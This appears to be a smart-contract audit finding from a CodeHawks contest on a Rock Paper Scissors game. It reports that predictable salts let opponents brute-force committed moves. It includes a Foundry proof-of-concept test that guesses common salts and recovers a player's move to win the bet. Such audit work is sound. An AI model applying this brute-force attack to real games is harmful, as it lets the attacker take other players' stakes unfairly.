Rock Paper Scissors
First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

[M-2] Weak Salt in Commit-Reveal Scheme

sauron22

Summary

The RockPaperScissors contract's commit-reveal mechanism can be compromised if players use weak or predictable salt values. Since there are only three possible moves, an attacker could brute force the opponent's move before revealing their own, defeating the purpose of the commit-reveal pattern and enabling them to win consistently.

Vulnerability Details

The game uses a commit-reveal pattern where players first commit a hash of their move and a salt value, then later reveal both. The security of this scheme relies entirely on the unpredictability of the salt:

function revealMove(uint256 _gameId, uint8 _move, bytes32 _salt) external {
Game storage game = games[_gameId];
​
require(msg.sender == game.playerA || msg.sender == game.playerB, "Not a player in this game");
require(game.state == GameState.Committed, "Game not in reveal phase");
require(block.timestamp <= game.revealDeadline, "Reveal phase timed out");
require(_move >= 1 && _move <= 3, "Invalid move");
​
Move move = Move(_move);
bytes32 commit = keccak256(abi.encodePacked(move, _salt));
​
if (msg.sender == game.playerA) {
require(commit == game.commitA, "Hash doesn't match commitment");
require(game.moveA == Move.None, "Move already revealed");
game.moveA = move;
} else {
require(commit == game.commitB, "Hash doesn't match commitment");
require(game.moveB == Move.None, "Move already revealed");
game.moveB = move;
}
​
// Remaining implementation...
}

The vulnerability arises when players use predictable salt values such as:

  • Simple strings like "salt", "123", or "password"

  • Their own address

  • Block numbers or timestamps

  • Empty strings

Since there are only 3 possible moves (Rock, Paper, Scissors), an attacker would only need to compute 3 hashes per potential salt guess, making brute force attacks practical for weak salts.

Impact

Medium - Players using weak salts could have their moves discovered, allowing opponents to consistently win by choosing the superior move. This breaks the fairness of the game and could lead to financial losses for affected players, as the contract handles real ETH and token bets.

Likelihood

Medium - Many users may not understand cryptographic best practices and would choose simple, predictable salt values. Some might even reuse the same salt across multiple games, further increasing their vulnerability.

According to the CodeHawks risk matrix, this vulnerability has a Medium severity rating (Medium impact + Medium likelihood = Medium).

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
​
import "forge-std/Test.sol";
import "../src/RockPaperScissors.sol";
import "../src/WinningToken.sol";
​
contract RockPaperScissorsVulnTest is Test {
RockPaperScissors public game;
WinningToken public token;
​
address public admin;
address public playerA;
address public playerB;
address public playerC; // Malicious player
​
uint256 constant BET_AMOUNT = 0.1 ether;
uint256 constant TIMEOUT = 10 minutes;
uint256 constant TOTAL_TURNS = 1; // Single turn for simplicity
​
function setUp() public {
// Set up addresses
admin = address(this);
playerA = makeAddr("playerA");
playerB = makeAddr("playerB");
playerC = makeAddr("playerC");
​
// Fund the players
vm.deal(playerA, 10 ether);
vm.deal(playerB, 10 ether);
vm.deal(playerC, 10 ether);
​
// Deploy contracts
game = new RockPaperScissors();
token = WinningToken(game.winningToken());
​
// Mint tokens for testing token games
vm.prank(address(game));
token.mint(playerA, 10);
​
vm.prank(address(game));
token.mint(playerB, 10);
vm.prank(address(game));
token.mint(playerC, 10);
}
​
function testBruteForceWeakSalt() public {
// 1. Player A creates a game
vm.prank(playerA);
uint256 gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);
// 2. Player B joins the game
vm.prank(playerB);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
// 3. Player A commits with a weak salt "123"
bytes32 weakSalt = keccak256(abi.encodePacked("123"));
RockPaperScissors.Move playerAMove = RockPaperScissors.Move.Rock;
bytes32 commitA = keccak256(abi.encodePacked(uint8(playerAMove), weakSalt));
vm.prank(playerA);
game.commitMove(gameId, commitA);
// 4. Malicious Player B tries to brute force the salt
bytes32[] memory commonSalts = new bytes32[](3);
commonSalts[0] = keccak256(abi.encodePacked("123"));
commonSalts[1] = keccak256(abi.encodePacked("salt"));
commonSalts[2] = keccak256(abi.encodePacked("password"));
// For each common salt, try all 3 possible moves
RockPaperScissors.Move discoveredMove;
bool moveDiscovered = false;
for (uint8 i = 0; i < commonSalts.length; i++) {
for (uint8 move = 1; move <= 3; move++) {
bytes32 testCommit = keccak256(abi.encodePacked(move, commonSalts[i]));
if (testCommit == commitA) {
discoveredMove = RockPaperScissors.Move(move);
moveDiscovered = true;
break;
}
}
if (moveDiscovered) break;
}
// 5. Assert the move was discovered
assertTrue(moveDiscovered, "Failed to discover the move");
assertEq(uint8(discoveredMove), uint8(playerAMove), "Discovered incorrect move");
// 6. Player B can now choose a winning move
RockPaperScissors.Move winningMove;
if (discoveredMove == RockPaperScissors.Move.Rock) {
winningMove = RockPaperScissors.Move.Paper;
} else if (discoveredMove == RockPaperScissors.Move.Paper) {
winningMove = RockPaperScissors.Move.Scissors;
} else {
winningMove = RockPaperScissors.Move.Rock;
}
// 7. Player B commits the winning move
bytes32 saltB = keccak256(abi.encodePacked("playerB salt"));
bytes32 commitB = keccak256(abi.encodePacked(uint8(winningMove), saltB));
vm.prank(playerB);
game.commitMove(gameId, commitB);
// 8. Both players reveal their moves
vm.prank(playerA);
game.revealMove(gameId, uint8(playerAMove), weakSalt);
vm.prank(playerB);
game.revealMove(gameId, uint8(winningMove), saltB);
// 9. Verify Player B won
(,,,,,,,,,,,,, uint8 scoreA, uint8 scoreB, ) = game.games(gameId);
assertEq(scoreA, 0);
assertEq(scoreB, 1);
}
}

Tools Used

Manual code review and custom unit tests.

Recommendations

  1. Integrate with Chainlink VRF (Verifiable Random Function) to provide true randomness for salt generation

  2. Add explicit warnings in the contract documentation and UI about the importance of using strong, unique salts

  3. Implement a client-side library that handles secure salt generation for players

Updates

Appeal created

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of Salt Uniqueness Enforcement

The contract does not enforce salt uniqueness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.